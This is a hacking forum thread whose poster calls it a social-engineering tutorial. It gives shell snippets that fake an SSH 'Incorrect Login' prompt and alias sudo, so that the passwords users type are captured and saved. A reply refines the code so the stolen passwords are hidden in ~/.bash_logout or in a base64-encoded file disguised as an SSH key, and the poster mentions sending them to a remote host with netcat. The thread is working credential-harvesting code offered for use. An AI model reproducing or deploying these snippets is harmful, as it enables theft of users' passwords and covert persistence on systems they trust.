![]() |
|
Getting passwords with a simple (SE) attack - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials) +--- Thread: Getting passwords with a simple (SE) attack (/Thread-Getting-passwords-with-a-simple-SE-attack) |
Getting passwords with a simple (SE) attack - Blink - 02-26-2017 A little while ago, I came up with a two of these attacks: Te first is on SSH, to grab passwords from logins: Code: if [[ -n $SSH_CONNECTION ]] ; then
exec echo 'Incorrect Login.'
exec echo -n 'Password:'
exec read -s PASS
exec echo $PASS >> passfile
exec sh
fiThe second attack is on sudo: Code: alias sudo=echo -n "[sudo] password for $USER:" && read -s PASS && echo $PASS >> passfilefile && echo "" && echo "Sorry, try again." && sudoThis was just to get you guys to think about creative attacks like these. Another one would be to have something like "Incorrect login" when at login, and ask for the password, of course this one only works for CLI logins. Hope this got you guys thinking! PS: Don't scream at me if this sucked, I'm in a rush and just felt like sharing this with you guys. RE: Getting password for a user account you hav access to with a simple (SE) attack - phyrrus9 - 02-26-2017 @Ender these are actually not that bad. Not really outside the box either, but they would get the job done (would surely fool me). Just a couple things though. 1. in the first example, you have Code: exec exho $PASS > passfileCode: - bash: exec: exho: not foundSecondly, you're stuffing the password files right in plain view...and you're naming them WAY TOO DESCRIPTIVELY if this is really "social engineering", you should name them something that would make me (if I found them, and I will) believe they were something else.. A file that is likely rarely (or never, in my case) is ~/.bash_logout this file is executed when bash encounters an exit command (window manager close won't trigger it), and is a normal shell script. You could consider modifying that script to Code: if [[ -n $SSH_CONNECTION ]] ; then
exec echo 'Incorrect Login.'
exec echo -n 'Password:'
exec read -s PASS
exec echo "# $PASS" >> $HOME/.bash_logout
exec sh
fiCode: if [[ -n $SSH_CONNECTION ]] ; then
exec echo 'Incorrect Login.'
exec echo -n 'Password:'
exec read -s PASS
exec mkdir -p $HOME/.ssh
exec echo "`date` $USER $PASS" | base64 >> $HOME/.ssh/.id_remote.rsa
exec sh
fi![]() aside from that, it all looks fine.... if you got really crazy, you could do something like encoding a file that would create a script with your exploit in it (in /tmp), call source on the script, then delete it... RE: Getting password for a user account you hav access to with a simple (SE) attack - Blink - 02-26-2017 (02-26-2017, 10:34 AM)phyrrus9 Wrote: Secondly, you're stuffing the password files right in plain view...and you're naming them WAY TOO DESCRIPTIVELY Oops.... Missed the spelling. I actually had it send the password using netcat to a remote server instead of storing the password in a file, but I just wanted to keep the post simple and let you guys do the modifications. |